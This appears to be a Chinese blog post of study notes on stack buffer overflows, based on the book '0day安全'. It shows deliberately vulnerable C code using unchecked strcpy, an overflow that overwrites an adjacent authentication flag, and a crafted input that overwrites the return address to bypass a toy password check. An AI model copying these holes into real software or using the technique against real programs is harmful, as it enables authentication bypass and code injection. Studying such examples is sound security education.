栈溢出实践

来源:互联网 发布:ios看电视直播软件 编辑:程序博客网 时间:2024/06/09 20:18

0x00 strcpy()函数

void main()  {   char s[]="123456789";   char d[]="abc";   strcpy(d,s);   printf("d=%s,\ns=%s",d,s);   getchar();}
  • Visual C++6.0中运行结果:
    这里写图片描述
  • 拷贝前后栈中变量分布:
    拷贝前 —————->>>拷贝后
  • 解释:strcpy(d,s)将s中的所有字符拷贝到s中,直遇到结束符’\0’,而不检查d是否越界。

0x01 修改邻接变量

  • 不进行编译优化前提下,局部变量在栈中是相邻存放的,若局部变量中有数组等缓冲区,并且程序存在数组越界的缺陷,则越界的数组元素有可能破坏栈中相邻变量、EBP值、返回地址等
#include <stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){    int authenticated;    char buffer[8];// add local buff    authenticated=strcmp(password,PASSWORD);    strcpy(buffer,password);//over flowed here!     return authenticated;}main(){    int valid_flag=0;    char password[1024];    while(1)    {        printf("please input password: ");        scanf("%s",password);        valid_flag = verify_password(password);        if(valid_flag)        {            printf("incorrect password!\n\n");        }        else        {            printf("Congratulation! You have passed the verification!\n");            break;        }    }}
  • 运行结果:
    这里写图片描述
  • 错误密码通过验证原理
    函数栈中参数的分布:
    这里写图片描述
    拷贝前后栈中变量分布:
    这里写图片描述—————>>>这里写图片描述
    输入8个’q’,第9个为字符串截断符0x00,溢出至authenticated的低字节,恰好将0x00000001覆盖成0x00000000,成功通过验证。
  • 说明:
    a) 只有输入的8个字符大于”1234567”是才能通过验证。由于authenticated的值是strcmp()的返回值,输入字符串大于”1234567”是,返回1,内存中为0x00000001,可以用字符串截断符NULL覆盖authenticated的低字节通过验证。当输入字符串小于”1234567”时,函数返回-1,内存中为0xffffffff,覆盖后为0xffffff00,仍不能通过验证。
    b) Visual C++ 6.0 Debug版本编译能实现该实验,VS2010的GS(缓冲区安全检查)会使该实验失败。

0x02 修改函数返回地址

  • 通过缓冲区溢出改写函数栈帧最下方的EBP值和函数返回地址等栈帧状态值。
#include<stdio.h>#include<string.h>#define PASSWORD "1234567"int verify_password (char *password){    int authenticated;    char buffer[8];// add local buff    authenticated=strcmp(password,PASSWORD);    strcpy(buffer,password);//over flowed here!     return authenticated;}main(){    int valid_flag=0;    char password[1024] = "AAAAAAAAAAAAAAAA\x0A\x11\x40\x00";    while(1)    {        valid_flag = verify_password(password);        if(valid_flag)        {            printf("incorrect password!\n\n");        }        else        {            printf("Congratulation! You have passed the verification!\n");            break;        }}}
  • 通过验证原理:
    程序中password[1024] = “AAAAAAAAAAAAAAAA\x0A\x11\x40\x00”,其中”\x0A\x11\x40\x00”将覆盖函数返回地址的值,且0x0040110A为密码验证成功处理分支的指令地址(该地址通过动态调试得到)。故程序能在verify_password()调用后直接跳转至通过验证分支,成功绕过密码验证。
    这里写图片描述
    拷贝前后栈中变量分布:
    这里写图片描述————- ->>>这里写图片描述
    由于EBP被覆盖为无效值,是程序退出时堆栈无法平衡,导致程序崩溃。
  • 说明:
    a) Visual C++ 6.0 Debug版本编译能实现该实验,VS2010的GS(缓冲区安全检查)会使该实验失败。
    b) 可以password[1024]中写入自己的代码,用该代码的虚拟地址覆盖返回地址实现代码植入。

——《0day安全》学习笔记

0 0
原创粉丝点击